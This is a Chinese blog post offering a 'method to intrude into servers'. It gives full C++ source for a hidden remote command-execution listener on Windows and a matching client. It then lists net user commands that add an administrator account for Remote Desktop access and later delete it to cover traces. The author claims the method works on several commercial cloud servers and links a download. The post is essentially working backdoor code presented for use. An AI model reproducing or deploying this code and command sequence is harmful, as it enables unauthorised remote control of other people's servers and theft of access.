入侵服务器的一种方法
2016-12-19 19:05
246 查看
1.前言
最近在做一个节点信息收集的时候,偶然想到一种可以进入服务器的一种方法,这里记录下,需要先运行服务器程序,再通过客户端来添加帐号,提升权限,删除帐号等操作2.思路
1.做一个可以远程执行命令行的程序
2.通过命令行增加一个新帐号,提升为admin权限,通过微软远程进入,做完后,在服务器上注销账号,通过命令行删除用户,结束
3.我购买了一台阿里云,百度云,腾讯云,华为云这种方法都可以轻松进入
3.具体实现
服务器端部分程序
//调用命令行获取返回值 bool ExecCmdRet(const std::string &strcmd, std::string &strrecv) { SECURITY_ATTRIBUTES sa; HANDLE hRead,hWrite; bool bret = false; sa.nLength = sizeof(SECURITY_ATTRIBUTES); sa.lpSecurityDescriptor = NULL; sa.bInheritHandle = TRUE; if (!CreatePipe(&hRead,&hWrite,&sa,0)) return bret; char szcommand[1024] = {0}; //strcpy(szcommand, strcmd.c_str()); strcpy(szcommand,"Cmd.exe /C "); strcat(szcommand,strcmd.c_str()); STARTUPINFOA si; PROCESS_INFORMATION pi; si.cb = sizeof(STARTUPINFOA); GetStartupInfoA(&si); si.hStdError = hWrite; si.hStdOutput = hWrite; si.wShowWindow = SW_HIDE; si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES; if (!CreateProcessA(NULL, szcommand, NULL,NULL,TRUE,NULL,NULL,NULL,&si,&pi)) { CloseHandle(hWrite); CloseHandle(hRead); return bret; } CloseHandle(hWrite); char buffer[4096] = {0}; DWORD bytesRead; WaitForSingleObject(pi.hProcess, 10000); /*if (ReadFile(hRead,buffer,4095,&bytesRead,NULL)) { strrecv = buffer; bret = true; }*/ while (ReadFile(hRead,buffer,4095,&bytesRead,NULL)) { buffer[bytesRead] = '\0'; strrecv += buffer; bret = true; } CloseHandle(hRead); CloseHandle(pi.hThread); CloseHandle(pi.hProcess); return bret; } DWORD WINAPI PortTransfer_2(LPVOID lParam) { TransferParam<ADDRESS, SOCKET> *ConfigInfo = (TransferParam<ADDRESS, SOCKET>*)lParam; SOCKET ClientSock, ServerSock = INVALID_SOCKET; ClientSock = ConfigInfo->LocalData.Pop(); //int nNetTimeout=1000;//1秒 //setsockopt(ClientSock, SOL_SOCKET, SO_RCVTIMEO, (char *)&nNetTimeout, sizeof(int)); //setsockopt(ClientSock, SOL_SOCKET, SO_SNDTIMEO, (char *)&nNetTimeout, sizeof(int)); fd_set Fd_Read; int ret, nRecv; while(1) { FD_ZERO(&Fd_Read); FD_SET(ClientSock, &Fd_Read); ret = select(0, &Fd_Read, NULL, NULL, NULL); if(ret <= 0) break; if(FD_ISSET(ClientSock, &Fd_Read)) { //这里需要修改下 否则可能有问 std::string strrecvdata(""); int iResult = 0; //do //{ char szbuf[1024] = {0}; iResult = recv(ClientSock, szbuf, 1023, 0); if (iResult > 0) { szbuf[iResult] = '\0'; strrecvdata += szbuf; } else break; //} while (iResult > 0); std::string strsenddata(""); if (!strrecvdata.empty()) ExecCmdRet(strrecvdata, strsenddata); if (strsenddata.empty()) strsenddata = "null"; if (!strsenddata.empty()) { int nsize = strsenddata.size(); ret = DataSend(ClientSock, strsenddata.c_str(), nsize); break; } } } closesocket(ClientSock); return 0; } //开启监听获取远程发过来的命令行指令并执行 将返回值进行返回 void begcom(int nsrcport) { WSADATA wsd; WORD sockVersion = MAKEWORD(2, 2); WSAStartup(sockVersion, &wsd); SOCKET srcSocket = CreateSocket(inet_addr("0.0.0.0"), nsrcport); if(srcSocket <= 0) return; TransferParam<ADDRESS, SOCKET> ConfigInfo; sprintf_s(ConfigInfo.GlobalData.szIP, ADDRSIZE, "%s", "0.0.0.0"); ConfigInfo.GlobalData.wPort = nsrcport; while(1) { SOCKADDR_IN addr; int addrlen = sizeof(addr); SOCKET AcceptSocket = accept(srcSocket, (sockaddr*)&addr, &addrlen); if (AcceptSocket == SOCKET_ERROR) break; char szclientip[64] = {0}; strcpy(szclientip,inet_ntoa(addr.sin_addr)); mapSockIp[AcceptSocket] = szclientip; ConfigInfo.LocalData.Push(AcceptSocket); DWORD dwThreadId = 0; HANDLE hThread = CreateThread(NULL, 0, PortTransfer_2, (LPVOID)&ConfigInfo, NULL, &dwThreadId); if(hThread) CloseHandle(hThread); else Sleep(1000); } closesocket(srcSocket); WSACleanup(); }
客户端程序部分代码
std::string getnodeinfo(const std::string &strip, int nport, const std::string &strsenddata) { std::string strrecvdata(""); WSADATA wsd; SOCKET m_sockKeep = INVALID_SOCKET; WORD sockVersion = MAKEWORD(2, 2); WSAStartup(sockVersion, &wsd); do { struct sockaddr_in sa ; m_sockKeep = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP) ; if (m_sockKeep == INVALID_SOCKET) break; sa.sin_family = AF_INET; sa.sin_port = htons (nport); sa.sin_addr.S_un.S_addr = inet_addr (strip.c_str()); if( connect(m_sockKeep, (SOCKADDR *) &sa, sizeof (sa)) == -1) break; int nret = send(m_sockKeep, strsenddata.c_str(), strsenddata.size(), 0); if (nret != SOCKET_ERROR) { int iResult = 0; do { char szbuf[4096] = {0}; iResult = recv(m_sockKeep, szbuf, 4095, 0); if (iResult > 0) { szbuf[iResult] = '\0'; strrecvdata += szbuf; int nNetTimeout = 500; //设置500ms超时 setsockopt(m_sockKeep, SOL_SOCKET, SO_RCVTIMEO, (char *)&nNetTimeout, sizeof(int)); } } while (iResult > 0); } } while (0); closesocket(m_sockKeep); WSACleanup(); return strrecvdata; }
需要执行的远程命令
net user zrq zrq1986% /add net localgroup administrators zrq /add net user zrq /delete
4.备注
1.在windows server2008 系统下注入后正常进入
2.http://download.csdn.net/detail/zhang_ruiqiang/9715665
相关文章推荐
- 入侵万象服务器的方法
- Windows2000服务器入侵前兆检测方法技巧
- Oracle11g客户端连接服务器很慢的一种解决方法
- 一种在本地搭载一个服务器的工具和方法,Android开发测试网络视频可以用
- html5 websocket 无法建立到服务器的连接 一种解决方法
- 一种构造WEB服务器端recv和send接口阻塞现象的方法
- 关于ASP.net服务器的入侵方法(1)
- 一种不需要握手服务器穿透NAT的UDP通讯方法
- 一种仿照Asp.net Mvc思维构建WebSocket服务器的方法
- Oracle11g客户端连接服务器很慢的一种解决方法
- 服务器被入侵后的紧急补救方法
- 黑客入侵万象服务器的方法
- 解决"链接服务器 '(null)' 的 OLE DB 访问接口 'STREAM' 返回了对列 '[!BulkInsert].fieldname' 无效的数据"的一种替换方法
- 关于ASP.net服务器的入侵方法(2)
- SQL安装时出错,提示:安装程序配置服务器失败 参考服务器错误日志。针对其中一种情况的解决方法!
- 服务器有效设置防止web入侵图文方法
- 解析企业服务器被入侵后紧急补救方法
- Android手机访问服务器的 一种数据交互方法
- Oracle11g客户端连接服务器很慢的一种解决方法(登录验证方式导致)
- 一种html小屏幕自适应排版方法及排版服务器